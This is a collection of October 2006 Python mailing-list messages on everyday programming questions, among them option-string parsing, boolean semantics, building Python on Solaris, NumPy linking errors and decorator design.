bearophileHUGS at lycos.com wrote:
> Ron Adam:
> 
> Insted of:
> 
>       def __init__(self, flags=[]):
>          self.flags = flags
>          self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE)
>          self.txtable = []
>          if HYPHEN_AS_SPACE in flags:
>              self.txtable.append(('-', ' '))
>          if UNDERSCORE_AS_SPACE in flags:
>              self.txtable.append(('_', ' '))
>          if PERIOD_AS_COMMAS in flags:
>              self.txtable.append(('.', ','))
>          if IGNORE_COMMAS in flags:
>              self.txtable.append((',', ''))
>          self.flags = flags
> 
> I think using a not mutable flags default is safer, this is an
> alternative (NOT tested!):
> 
>       numrex = re.compile(r'[\d\.]*  |  \D*', re.LOCALE|re.VERBOSE)
>       dflags = {"hyphen_as_space": ('-', ' '),
>                 "underscore_as_space": ('_', ' '),
>                 "period_as_commas": ('_', ' '),
>                 "ignore_commas": (',', ''),
>                 ...
>                }
> 
>       def __init__(self, flags=()):
>          self.flags = [fl.strip().lower() for fl in flags]
>          self.txtable = []
>          df = self.__class__.dflags
>          for flag in self.flags:
>              if flag in df:
>                 self.txtable.append(df[flag])
>          ...
> 
> This is just an idea, it surely has some problems that have to be
> fixed.

I think the 'if's are ok since there are only a few options that need to be 
handled by them.

I'm still trying to determine what options are really needed.  I can get the 
thousand separator and decimal character from local.localconv() function.  So 
ignore_commas isn't needed I think.  And maybe change period_as_commas to period 
_as_sep and then split on periods before comparing.

I also want it to issue exceptions when the Collate object is created if invalid 
options are specified. That makes finding problems much easier.  The example 
above doesn't do that, it accepts them silently.  That was one of the reasons I 
went to named constants at first.

How does this look?

     numrex = re.compile(r'([\d\.]* | \D*)', re.LOCALE|re.VERBOSE)
     options = ( 'CAPS_FIRST', 'NUMERICAL', 'HYPHEN_AS_SPACE',
                 'UNDERSCORE_AS_SPACE', 'IGNORE_LEADING_WS',
                 'IGNORE_COMMAS', 'PERIOD_AS_COMMAS' )
     def __init__(self, flags=""):
         if flags:
             flags = flags.upper().split()
             for value in flags:
                 if value not in self.options:
                     raise ValueError, 'Invalid option: %s' % value
             self.txtable = []
             if 'HYPHEN_AS_SPACE' in flags:
                 self.txtable.append(('-', ' '))
             if 'UNDERSCORE_AS_SPACE' in flags:
                 self.txtable.append(('_', ' '))
             if 'PERIOD_AS_COMMAS' in flags:
                 self.txtable.append(('.', ','))
             if 'IGNORE_COMMAS' in flags:
                 self.txtable.append((',', ''))
         self.flags = flags



So you can set an option strings as...


import collate as C

collateopts = \
     """ caps_first
         hyphen_as_space
         numerical
         ignore_commas
     """
colatedlist = C.collated(somelist, collateopts)


A nice advantage with an option string is you don't have to prepend all your 
options with the module name.  But you do have to validate it.

Cheers,
    Ron


From paddy3118 at netscape.net  Wed Oct 25 16:08:33 2006
From: paddy3118 at netscape.net (Paddy)
Date: 25 Oct 2006 13:08:33 -0700
Subject: Any way of adding methods/accessors to built-in classes?
In-Reply-To: <mailman.1199.1161805387.11739.python-list@python.org>
References: <mailman.1199.1161805387.11739.python-list@python.org>
Message-ID: <1161806913.089363.288600@m73g2000cwd.googlegroups.com>


Kenneth McDonald wrote:
> This is possible with pure Python classes. Just add the method as new
> attribute of the class. However, that won't work for the builtins.
>
> I know that this is somewhat dangerous, and also that I could subclass
> the builtins, but not being able to do things like '[1,2,3]'.length
> drives me a little nuts. Python is about the only computer language I
> use, and I think it's certainly the best of the scripting languages, but
> there are inconsistencies in the object model and some other things I
> wish I could fix. If could could modify the builtins this way, I'd be
> willing to take the risk.
>
> Thanks,
> Ken

Hi Ken,
The reason comes from code being read much more than it is written. It
makes it much easier to maintain code if some foundations i.e. the
builtins, don't change.  That way everyone maintaining the code will
know that an int is an int, is an int, wherever it may be in the source
files of your program. The flip-side is that someone reading List in
athers code knows it isn't the built-in list type and so is on-guard
for any deviations/additions.

As for your irritation Ken, if you have to maintain code, as I do/have
done, then you remember how many times little inconsistencies have
tripped you up in the past, and offset those gripes against things like
this. 

- cheers, Paddy.



From atbusbook at aol.com  Sat Oct 21 14:28:04 2006
From: atbusbook at aol.com (atbusbook at aol.com)
Date: 21 Oct 2006 11:28:04 -0700
Subject: A Comparison Of Dynamic and Static Languiges
Message-ID: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>

I'm doing a report on the speed of develipment and executionin varius
programing langiuiges. write code for all these tasks in the languige
of your choise if intrestied send code to atbusbook at aol.com.

Task 1:
  write a program that prints how many times you repeat all words in a
file passed as a comand line
  paramiter and from STDIN. with the output format being "\"%s\" word
repeated %i times\n"
Task 2:
  write a comand line rpn calculator that has a syntax like forth with
only floats; also it must have these and
  only these operations +, -, *, /, ., .s, rot, dup, swap, pick, roll.
. and .s are pop print and .s print stack in this
  with a new line after each item and the top of the stack at the
bottom.

compiler info

c#: mono 1.1.13.7
perl: perl 5.8.8
python: python 2.4.2
ruby: ruby 1.8.4



From fabianosidler at gmail.com  Sun Oct 22 22:20:47 2006
From: fabianosidler at gmail.com (Fabiano Sidler)
Date: Mon, 23 Oct 2006 02:20:47 +0000
Subject: Current stackdepth outside PyEval_EvalFrameEx
Message-ID: <200610230220.47741.fabianosidler@gmail.com>

Hi folks!

I'm trying to implement a python function that returns the current stack
depth of its frame. Unfortunately, I don't see any possibility to get this
value outside of PyEval_EvalFrameEx. Inside of it, I'd use the STACK_LEVEL
macro. How do I do it?

Greetings,
Fips


From m.elston at advantest-ard.com  Wed Oct 18 14:49:18 2006
From: m.elston at advantest-ard.com (Mark Elston)
Date: Wed, 18 Oct 2006 11:49:18 -0700
Subject: How to execute a linux command by python?
In-Reply-To: <1161196325.286536.40970@b28g2000cwb.googlegroups.com>
References: <a34765230610180737t768b20d5q224adef6fd3fb301@mail.gmail.com>
	<mailman.694.1161184524.11739.python-list@python.org>
	<1161196325.286536.40970@b28g2000cwb.googlegroups.com>
Message-ID: <12jcthf4grmcd5b@corp.supernews.com>

* venkatbo at yahoo.com wrote (on 10/18/2006 11:32 AM):
> Fredrik Lundh wrote:
>> haishan chang wrote:
>>
>>> How to execute a linux command by python?
>>> for example: execute "ls"  or "useradd oracle"
>>> Who can help me?
>> start here:
>>
>>      http://www.python.org/doc/lib/
>>
>> </F>
> 
> After reading the matl. pointed to by the many links listed here,
> you can try pexpect. Provided for more control and interactivity.
> More at: http://pexpect.sourceforge.net/
> 
> /venkat
> 

BTW, is there a version of pexpect that works with Windows?  This
package requires pty and termios which isn't supported on Windows.

Mark


From pandyacus.xspam at xspam.sbcglobal.net  Sun Oct 29 01:08:32 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Sun, 29 Oct 2006 06:08:32 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org> <ehueah$r6p$1@sea.gmane.org>
	<mailman.1387.1162004579.11739.python-list@python.org>
Message-ID: <ulkmzfybu.fsf@NANDI.i-did-not-set--mail-host-address--so-tickle-me>

Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:

> At Friday 27/10/2006 23:13, Steve Holden wrote:
>
>>J. Clifford Dyer wrote:
>> > the one thing that Ms. Creighton points out that I can't get past is
>> > that Python, even with its bool type, *still* evaluates somethingness
>> > and nothingness, and True and False are just numbers with hats on.
>> >
>> >  >>> True + 3
>> > 4
>> >  >>> bool(True-1)
>> > False
>> >  >>> bool(True-2)
>> > True
>> >  >>> (10 > 5) + (10 < 5)
>> > 1
>>Seems pretty clear to me that the situations you discuss above involve
>>numeric coercions of a Boolean value.
>
> A "true" Boolean value should not be coerced into any other thing. True+1 is as
> meaningless as "A"+1, or even "1"+1. The fact is, bool is just an integer in
> disguise.
> I always regretted that Python just went mid-way moving onto a true Boolean
> type; I'd prefer it to stay as it was before bool was introduced.
>
>> > Python is not evaluating the truth of the matter, but, as Ms. Creighton
>> > would say, the "somethingness" of that which 10 > 5 evaluates to.  (1
>> > aka True)
>> >
>>   >>> type(10>5)
>><type 'bool'>
>>   >>>
>
>>>> bool.__mro__
> (<type 'bool'>, <type 'int'>, <type 'object'>)
>
>>It does seem that there is a specific type associated with the result of
>>a comparison, even though you would really like to to be "a number with
>>a hat on".
>
> It *is* an integer with a hat on.
>
>>>> isinstance(True,int)
> True
This has focussed on the relational operators, which seem to produce a number
with a hat on. However, logical operations do not do so. 
True and "This string" produces "This string", for example.

This is hardly surprising, though.
The way they are defined, booleans seem to be the syntactic sugar that some 
people like. Many of the projects that I have been associated with had such
a define because the language (C) does not provide it. On the other hand, 
there are many who do just fine without them. 

For expressions used in control flow, if the expression somehow produces a 0
(False included) or None, the behavior is as if the expression is false. 
Confusion may arise because the way that answer is produced may not be
immediately obvious. For constructs such as "if obj:" the answer depends on
which methods the object has defined and what the state of the object is at the
time, but this has nothing to do with whether the answer that was produced was
strictly a boolean or not.

Chetan

>
>
> -- 
> Gabriel Genellina
> Softlab SRL 
>
> __________________________________________________
> Correo Yahoo!
> Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta
> ya! - http://correo.yahoo.com.ar


From cologuns at xs4all.nl  Thu Oct 12 10:42:40 2006
From: cologuns at xs4all.nl (Martijn de Munnik)
Date: Thu, 12 Oct 2006 16:42:40 +0200
Subject: Compile python on Solaris
Message-ID: <C3221810-4CA2-4434-B5BD-DC7D9210D7CA@xs4all.nl>

Hi,

I want to compile python on my solaris 10 system (amd 64 bit).

I did the following:

./configure --prefix=/opt/64/python
make

which resulted in this error:
"Include/pyport.h", line 730: #error: "LONG_BIT definition appears  
wrong for platform (bad gcc/glibc config?)."

so I edited the file and removed the error line and did a configure  
and make again after a make distclean.

after a new make I get this error complaining about 32 and 64 bit.

ld: fatal: file Parser/acceler.o: wrong ELF class: ELFCLASS32

when I look to the cc statements none of my CFLAGS are passed while  
these are in my environment;

CC=cc
CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all - 
xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
CXX=CC
CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all - 
xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr
LDFLAGS=-xtarget=opteron -xarch=amd64


anybody succesfully compiled python on solaris?

thanks,
martijn


From martin at v.loewis.de  Sat Oct 28 18:31:50 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 29 Oct 2006 00:31:50 +0200
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <1162069656.301191.9940@m7g2000cwm.googlegroups.com>
References: <mailman.813.1161325547.11739.python-list@python.org>
	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
	<ehjah5$bfm$1@news.albasani.net>
	<453d4890$0$22566$9b622d9e@news.freenet.de>
	<1161682522.256752.56630@i42g2000cwa.googlegroups.com>
	<453E5002.2020402@v.loewis.de>
	<1162069656.301191.9940@m7g2000cwm.googlegroups.com>
Message-ID: <4543DA56.9090400@v.loewis.de>

s?bastien martini schrieb:
> I don't know if it can hide some bugs or if the module has just never
> been updated to support this bytecode but LIST_APPEND is never emitted.
> In the module compiler, list comprehensions are implemented without
> emitting this bytecode, howewer the current implementation seems to be
> correct from syntax and execution point of view.

It's probably a matter of personal taste, but I think the compiler
library should perform the same way as the builtin compiler - except
that it might be "better" in some cases.

So feel free to report this as a bug at sf.net/projects/python.

Regards,
Martin


From robert.kern at gmail.com  Fri Oct 27 01:53:53 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Fri, 27 Oct 2006 00:53:53 -0500
Subject: NumPy 1.0 release
In-Reply-To: <1161927501.585705.151830@b28g2000cwb.googlegroups.com>
References: <mailman.1288.1161883418.11739.python-list@python.org>
	<1161927501.585705.151830@b28g2000cwb.googlegroups.com>
Message-ID: <ehs6ti$hdl$1@sea.gmane.org>

George Sakkis wrote:
> ImportError:
> /usr/local/lib/python2.4/site-packages/numpy/linalg/lapack_lite.so:
> undefined symbol: zheevd_
> 
> Googling for "undefined symbol: zheevd_" returned no hits, at which
> point I gave up for now; hopefully someone will have a suggestion on
> what to do next (other than dumping RH's mess for Ubuntu, which I'd
> gladly do if it was up to me).

zheevd is a LAPACK routine. Check for that symbol in the LAPACK library that you 
are linking. If it's not there, then your LAPACK library is broken. ATLAS 
provides some optimized LAPACK routines, and some distributions of ATLAS provide 
LAPACK libraries with *only* those routines:

   http://scipy.org/FAQ#head-0f5cda66c4d28a8c65206cc2b4213e18f1c22547

> By the way, it would be great if numpy's mailing list was mirrored to a
> google group; sourceforge and gmane are just horrible to use.

Sorry, I don't think that Google Groups does mirroring like GMane does. While we 
will be migrating the numpy-discussion list away from Sourceforge, it will be to 
the scipy.org server, not Google Groups.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From http  Tue Oct  3 04:52:52 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 01:52:52 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <7xk63h232z.fsf@ruckus.brouhaha.com>

"Giovanni Bajo" <noway at sorry.com> writes:
> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation,
> recommends using a non open source tracker (called JIRA - never
> heard before of course) for Python itself.
> 
> Does this smell "Bitkeeper fiasco" to anyone else than me?

Sounds crazy, what's wrong with bugzilla?


From ahmerhussain at gmail.com  Fri Oct 13 10:26:59 2006
From: ahmerhussain at gmail.com (Ahmer)
Date: 13 Oct 2006 07:26:59 -0700
Subject: Starting out.
In-Reply-To: <1160715256.698199.64540@h48g2000cwc.googlegroups.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160715256.698199.64540@h48g2000cwc.googlegroups.com>
Message-ID: <1160749619.514641.11870@k70g2000cwa.googlegroups.com>

>From what I can see Python and PHP have VERY simillar syntax (sorry if
I offended anyone but I am a "n00b".)

On Oct 13, 12:54 am, malkaro... at gmail.com wrote:
> Ahmer wrote:
> > Hi all!
>
> > I am a 15 year old High School Sophomore. I would like to start
> > programming in Python. In school, we are learning Java (5) and I like
> > to use the Eclipse IDE, I also am learning PHP as well.
>
> > What are some ways to get started (books, sites, etc.)? I am usually on
> > linux, but I have a windows box and am planning on getting a mac.Generally good choices. I don't prefer PHP, however. For somebody who
> is learning programming, it encourages sloppy programming.
>
> I would suggest that you use PyDev (http://pydev.sourceforge.net/), a
> Python plugin for Eclipse, for Python programming. It is a helpful
> environment, especially for somebody already using Eclipse.
>
> For resources, I suggest you take a look athttp://wiki.python.org/moin/BeginnersGuide/NonProgrammerswhich is for
> non-programmers. If you feel like checking other resources, more are
> linked tohttp://wiki.python.org/moin/BeginnersGuide.
> 
> Best luck,
> 
> k



From ptmcg at austin.rr._bogus_.com  Tue Oct 24 11:23:02 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 24 Oct 2006 15:23:02 GMT
Subject: Visibility against an unknown background
References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com>
Message-ID: <qdq%g.22196$ta3.14784@tornado.texas.rr.com>

"Odalrick" <odalrick at hotmail.com> wrote in message 
news:1161701658.722683.46230 at e3g2000cwe.googlegroups.com...
>I need to draw visible lines on pictures with wxPython. That means I
> can't simply use, for instance, a black line since it wont be visible
> on a black or dark picture.
>
> Painting applications like the GIMP accomplish this by altering the
> colour of the line based on the colour of the pixel it covers, but the
> only way I can think of doing that is getting each pixel, transforming
> the colour then painting it on the screen, which seems like a horribly
> inefficient way do it.
>
> I could use alternating colour on the lines, but I don't think that
> will be good enough for my taste.
>
> I think I will use a partially transparent bitmap with a hole in the
> appropriate place and move the hole as needed.
>
> I realized the last solution as I was writing this and I think it will
> work fairly well, but I'm still wondering if there is another, better
> solution i might have missed.
>
> /Odalrick
>
You could try outlining in a light color.  For example, draw a 3-pixel-wide 
white or light gray line, and then overlay your 1-pixel-wide black line. 
Over light backgrounds, the outline will disappear; over dark backgrounds, 
the outline will look like a hole in the background to show your black line.

-- Paul




From hg at nospam.com  Fri Oct 13 00:06:59 2006
From: hg at nospam.com (hg)
Date: Thu, 12 Oct 2006 23:06:59 -0500
Subject: COM and Threads
In-Reply-To: <1160710172.060054.56400@e3g2000cwe.googlegroups.com>
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<zkCXg.27279$Go3.12012@dukeread05>
	<1160710172.060054.56400@e3g2000cwe.googlegroups.com>
Message-ID: <8qEXg.27287$Go3.15608@dukeread05>

Teja wrote:
> hg wrote:
> 
>> Teja wrote:
>>> I have an application which uses COM 's Dispatch to create a COM based
>>> object. Now I need to upgrade the application to a threaded one. But
>>> its giving an error that COM and threads wont go together. Specifically
>>> its an attribute error at the point where COM object is invoked. Any
>>> pointers please??????
>>>
>> If COM is not thread safe, then use processes
> 
> Thanks a LOT for your reply...... Can u please tell me how to
> processes......
> 

I gather pywin32 gives you the trick to do it (CreateProcess ?) as I
gather "fork"ing is not available under Windows.



From http  Mon Oct 23 18:04:13 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 15:04:13 -0700
Subject: mean ans std dev of an array?
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
Message-ID: <7xpsci665e.fsf@ruckus.brouhaha.com>

"SpreadTooThin" <bjobrien62 at gmail.com> writes:
> print a.mean()
> print a.std_dev()
> 
> Is there a way to calculate the mean and standard deviation on array data?

Well, you could use numpy or whatever.  If you want to calculate directly,
you could do something like (untested):

n = len(a)
mean = sum(a) / n
sd = sqrt(sum((x-mean)**2 for x in a) / n)


From gagsl-py at yahoo.com.ar  Mon Oct 23 16:17:42 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 23 Oct 2006 17:17:42 -0300
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <1161600812.006210.219090@k70g2000cwa.googlegroups.com>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
	<mailman.868.1161374544.11739.python-list@python.org>
	<1161600812.006210.219090@k70g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061023171238.05c5d7f0@yahoo.com.ar>

At Monday 23/10/2006 07:53, Ben Sizer wrote:

> > >I'd like to be able to drag a file onto a Python script in Windows
> > >Explorer, or send that file to the script via the Send To context-menu
> > >option, so I can then process that file via sys.argc.
> > >
> > >Unfortunately, I can't drag items onto the Python script, because
> > >Windows doesn't recognise that the script is executable (unless I
> > >double-click it, upon which it runs as usual, without the command line
> > >parameter of course)
> >
> > Create a shortcut and drop the file over it.
>
>Doesn't work; the mouse cursor changes to the "not permitted" sign and
>when you release the mouse, nothing happens.

@WorksForMe (on XPSP2 with local administrator rights)
(but I've used such shortcuts even on Windows 98)
Perhaps it's some configuration, or you don't have enough permission 
to do that.

> > >and won't set it as a drop target. And it won't
> > >even appear in the Send To menu after the usual steps are taken to get
> > >it there.
> >
> > Same here: put a shortcut to the script on your SendTo folder
> > (wherever it resides)
>
>That is what I meant by 'the usual steps'. :)  It doesn't work.

Same as above! I think you should ask on a Windows newsgroup.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From http  Sat Oct 14 02:57:26 2006
From: http (Paul Rubin)
Date: 13 Oct 2006 23:57:26 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
Message-ID: <7xhcy72xm1.fsf@ruckus.brouhaha.com>

brenocon at gmail.com writes:
>     deferred = fetchPage('http://python.org')
>     def _showResponse(response)
>         print "fancy formatting: %s" % response.text
>     deferred.addCallback(_showResponse)
> 
> Lots of Twisted code has to be written backwards like this.

But that's just ugly.  The fetchPage function should take the callback
as an argument.  In an asynchronous system it would even be buggy.
What happens if the page fetch completes before you add the callback?


From Eric_Dexter at msn.com  Tue Oct 17 20:25:53 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 17 Oct 2006 17:25:53 -0700
Subject: Python Web Site?
In-Reply-To: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
References: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>
Message-ID: <1161131153.484754.219230@m7g2000cwm.googlegroups.com>

wxpython is down for me also it did work befour my job interview at
around noon central.  It may have been my wx.grid question for my
project finaly did the system in.  I followed all the directions but
can only post and get one responce and I can't respond to the questions
(I get no email so I can post replies) seems odd. (last couple of days
anyway)

http://www.dexrow.com

*% wrote:
> Is there a problem with the Python and wxPython web sites?  I cannot
> seem to get them up, and I am trying to find some documentation...
> 
> 	Thanks,
> 	Mike



From steve at holdenweb.com  Thu Oct  5 14:01:54 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 19:01:54 +0100
Subject: Access to static members from inside a method decorator?
In-Reply-To: <1160061499.579029.9130@k70g2000cwa.googlegroups.com>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
Message-ID: <eg3h8r$50m$1@sea.gmane.org>

glen.coates.bigworld at gmail.com wrote:
> Bruno Desthuilliers wrote:
> 
>>glen.coates.bigworld at gmail.com wrote:
>>
>>>I'm developing a library at the moment that involves many classes, some
>>>of which have "exposed" capabilities.  I'm trying to design a nice
>>>interface for both exposing those capabilities, and inspecting
>>>instances to find out what capabilities they have.
>>>
>>>At the moment, I'm leaning towards a superclass (Exposed) that defines
>>>a static method which is a decorator (expose) such that any derived
>>>class can mark a method with @Exposed.expose and it will then be later
>>>returned by getExposedMethods(), a la:
>>>
>>>class Exposed:
>>>  @staticmethod
>>>  def expose( f ):
>>>    ...
>>>
>>>  def getExposedMethods( self ):
>>>    ...
>>>
>>>class Person( Exposed ):
>>>  @Exposed.expose
>>>  def talk( self, ... ):
>>>    ...
>>>
>>>I'm trying to implement the decorator by having it populate a static
>>>member list of whatever class it's in with a reference to the method.
>>>getExposedMethods() would then return the contents of each of those
>>>lists from itself back to Exposed in the class hierarchy.  The first
>>>problem was that having a reference to the method (i.e. talk()) does
>>>not allow you to get a reference to the enclosing class (I had hoped
>>>im_class would lead me there).
>>
>>Not yet. When your decorator is called, the class object is not yet
>>created, and what you are decorating is a plain function.
>>
>>
>>>The real hiccup was that explicitly
>>>passing the class as an argument to the decorator generates a undefined
>>>global name error, presumably because at that point of execution the
>>>class object hasn't been fully created/initialised.
>>
>>Exactly.
>>
>>
>>>So how can this be done?
>>
>>The simplest thing is to use a two-stages scheme : mark the functions as
>>exposed, then collect them:
>>
>>def expose(func):
>>  func._exposed = True
>>  return func
>>
>>def exposed(obj):
>>  return callable(obj) and getattr(obj, '_exposed', False)
>>
>>class Exposing(object):
>>  @classmethod
>>  def get_exposed_methods(cls):
>>    try:
>>      exposeds = cls._exposed_methods
>>    except AttributeError:
>>      exposeds = []
>>      for name in dir(cls):
>>        obj = getattr(cls, name)
>>        if exposed(obj):
>>          exposeds.append(obj)
>>      cls._exposed_methods = exposeds
>>    return exposeds
>>
>>class Parrot(Exposing):
>>  @expose
>>  def parrot(self, what):
>>    return "%s says %s" % (self, str(what))
>>
>>
>>
>>HTH
>>--
>>bruno desthuilliers
>>python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
>>p in 'onurb at xiludom.gro'.split('@')])"
> 
> 
> Thanks Bruno.  I came up with a similar solution today at work, which
> involves an 'init' method which is called at the bottom of each module
> that defines subclasses of Exposed and sets up static mappings for the
> exposed methods.  I guess my solution is slightly less elegant because
> it requires this ugly explicit init call outside the classes that it
> actually deals with, however it is more efficient because the dir()
> pass happens once on module load, instead of every time I want the list
> of exposed methods.
> 
Surely the right place to handle "collection" is in a metaclass, where 
the metaclass's __call__() method can scan the __dict__ and take 
appropriate action on the marked methods? That way it's done just once, 
at class definition time, as it should be.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From sjmachin at lexicon.net  Mon Oct  9 07:52:18 2006
From: sjmachin at lexicon.net (John Machin)
Date: 9 Oct 2006 04:52:18 -0700
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <mailman.96.1160378534.11739.python-list@python.org>
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<1160266138.599325.270290@e3g2000cwe.googlegroups.com>
	<egbsoq$tcu$1@lust.ihug.co.nz>
	<mailman.96.1160378534.11739.python-list@python.org>
Message-ID: <1160394738.418282.62120@m7g2000cwm.googlegroups.com>


Steve Holden wrote:
>
> Don't forget the UK, where the scots are accommodated by filing Mc
> before Mac everywhere except the 'phone book, where IIRC they are
> treated as equivalent.

Same/similar phone book treatment here in Australia -- Mc is treated as
though it were spelled Mac. An interesting application of the
decorate-sort-undecorate technique :-)



From me at jonbowlas.com  Mon Oct 16 08:26:12 2006
From: me at jonbowlas.com (Jonathan Bowlas)
Date: Mon, 16 Oct 2006 13:26:12 +0100
Subject: Convert StringIO to string
Message-ID: <021201c6f11e$44bdf350$fde92452@bowlas>

Hi listers,

I've written this little script to generate some html but I cannot get it to
convert to a string so I can perform a replace() on the &gt;, &lt;
characters that get returned.

from StringIO import StringIO

def generator_file(rsspath,titleintro,tickeropt): 
	scripter=StringIO()
	scripter.write('<script type="text/javascript">\n')
	scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath,
titleintro, tickeropt))
	scripter.write('</script>\n')
	return scripter.getvalue()

I tried adding this:

scripter = scripter.replace("&lt;", "<")
scripter = scripter.replace("&gt;", ">")

But obviously replace() isn't an attribute of StringIO so I guess I need to
convert it to a string first, can someone please advise how I can do this?

Cheers

Jon




From timr at probo.com  Thu Oct  5 03:29:45 2006
From: timr at probo.com (Tim Roberts)
Date: Thu, 05 Oct 2006 07:29:45 GMT
Subject: How can I correct an error in an old post?
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>

Jorgen Grahn <grahn+nntp at snipabacken.dyndns.org> wrote:
>
>On Mon, 02 Oct 2006 16:36:24 +0100, Steve Holden <steve at holdenweb.com> wrote:
>
>> I'd appreciate it if all 
>> concerned would close this thread now.
>
>I think you are overreacting. This was a thread with three (3) postings, in
>a high-volume newsgroup, with no indication that it would continue (except
>maybe with a pointer to whatever posting the OP wanted to correct, or to his
>correction).

I'm confused.  I assumed Steve was just joking with his original request.
Although it might be mirrored on a web site somewhere, this is a Usenet
newsgroup.  It is impossible to "close" a thread.  The concept simply does
not exist.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From davidworley at gmail.com  Tue Oct 17 14:10:40 2006
From: davidworley at gmail.com (Dave)
Date: 17 Oct 2006 11:10:40 -0700
Subject: HTML Encoded Translation
Message-ID: <1161108640.669383.178470@h48g2000cwc.googlegroups.com>

How can I translate this:

&#103;&#105;

to this:

"gi"

I've tried urllib.unencode and it doesn't work.

Thanks!



From fredrik at pythonware.com  Wed Oct 25 01:26:44 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 07:26:44 +0200
Subject: Sorting by item_in_another_list
In-Reply-To: <2773CAC687FD5F4689F526998C7E4E5FF1EAEF@au3010avexu1.global.avaya.com>
References: <2773CAC687FD5F4689F526998C7E4E5FF1EAEF@au3010avexu1.global.avaya.com>
Message-ID: <ehmsik$b9b$1@sea.gmane.org>

Delaney, Timothy (Tim) wrote:

> This is a requirement for all implementations claiming to be 2.3 or
> higher.

the language reference only guarantees this for CPython:

     The C implementation of Python 2.3 introduced a stable
     sort() method, but code that intends to be portable across
     implementations and versions must not rely on stability.

</F>



From martin at v.loewis.de  Sun Oct  8 16:53:38 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 08 Oct 2006 22:53:38 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <0BQVg.138807$zy5.1859480@twister1.libero.it>
